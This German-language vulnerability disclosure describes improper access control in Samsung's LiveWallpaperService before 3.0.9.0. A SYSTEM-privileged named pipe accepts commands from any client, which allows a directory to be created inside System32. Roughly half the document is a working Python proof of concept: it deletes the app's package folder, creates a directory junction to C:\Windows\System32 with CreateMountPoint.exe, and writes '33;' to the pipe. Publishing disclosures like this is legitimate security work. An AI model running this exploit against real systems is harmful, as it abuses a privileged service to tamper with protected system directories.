
Eine unzureichende Zugriffskontrolle in LiveWallpaperService vor Version 3.0.9.0 ermöglicht es, ein bestimmtes benanntes Systemverzeichnis ohne die erforderliche Berechtigung zu erstellen.
Getestete Windows-Version: Windows 10 20H2 (Build 19042.1348) 64bit
Live Wallpaper Version: 3.0.9.0 oder früher
Es gibt einen LiveWallpaperService, der standardmäßig auf Samsung-Laptops läuft, aber es gab eine Schwachstelle, die das SYSTEM-Verzeichnis in einem Verzeichnis mit SYSTEM-Berechtigungen im SYSTEM-Dienst erstellte.
Live Wallpaper wird normalerweise standardmäßig auf Samsung-Laptops installiert, ist aber auch eine App aus dem Microsoft Store. Die App kann mit Benutzerberechtigungen ausgeführt werden und kommuniziert zwischen Server und Client über Named PIPE IPC. Zu diesem Zeitpunkt arbeitet der PIPE-Server mit SYSTEM-Berechtigungen und überprüft nicht, welche Clients es sind.
Im Folgenden wird der Vorgang beschrieben, der beim Start der entsprechenden App ausgeführt wird.
Der Server empfängt den Unicode-String '33;' und greift auf den Ordner 'C:\Users{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8' zu und prüft die Existenz des Verzeichnisses LiveWallpaperData. Ein neues Dateisystemverzeichnis wird im Ordner mit dem Namen 'LiveWallpaperData' erstellt.
Named PIPE wird für die Kommunikation zwischen Prozessen verwendet. Da es keine separate Client-Überprüfung gibt, kann der Angreifer es direkt öffnen und die gewünschten Daten senden.
Zuerst, nachdem Named PIPE direkt geöffnet wurde, wird eine Directory Junction zu C:\Windows\System32 erstellt, unter Verwendung der von James Forshaw entwickelten symboliclink-testing-tools. Sie wird als Unterverzeichnis des System32-Ordners mit Berechtigungen erstellt.
Hier ist der PoC für diese Schwachstelle.
Um den PoC durchzuführen, müssen die folgenden Bedingungen erfüllt sein:
# python 3.7.2
import os
import shutil
import time
import getpass
def stringToWstring(st : str) -> str:
result = ''
for i in st:
result += i+'\x00'
return result
def main():
# current user name
username = getpass.getuser()
# path settings
path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
path2 = 'C:\\Windows\\System32'
# delete directory
if os.path.isdir(path1):
shutil.rmtree(path1)
# create directory junction
command = f'CreateMountPoint.exe "{path1}" "{path2}"'
os.system(command)
# write data to named pipe
with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
f.write(stringToWstring('33;'))
# IPC delay time
time.sleep(2)
# directory check
if os.path.isdir(path2+'\\LiveWallpaperData'):
print('[+] Success')
else:
print('[-] failed')
# delete directory junction
command = f'DeleteMountPoint.exe {path1}'
os.system(command)
shutil.rmtree(path1)
if __name__=='__main__':
main()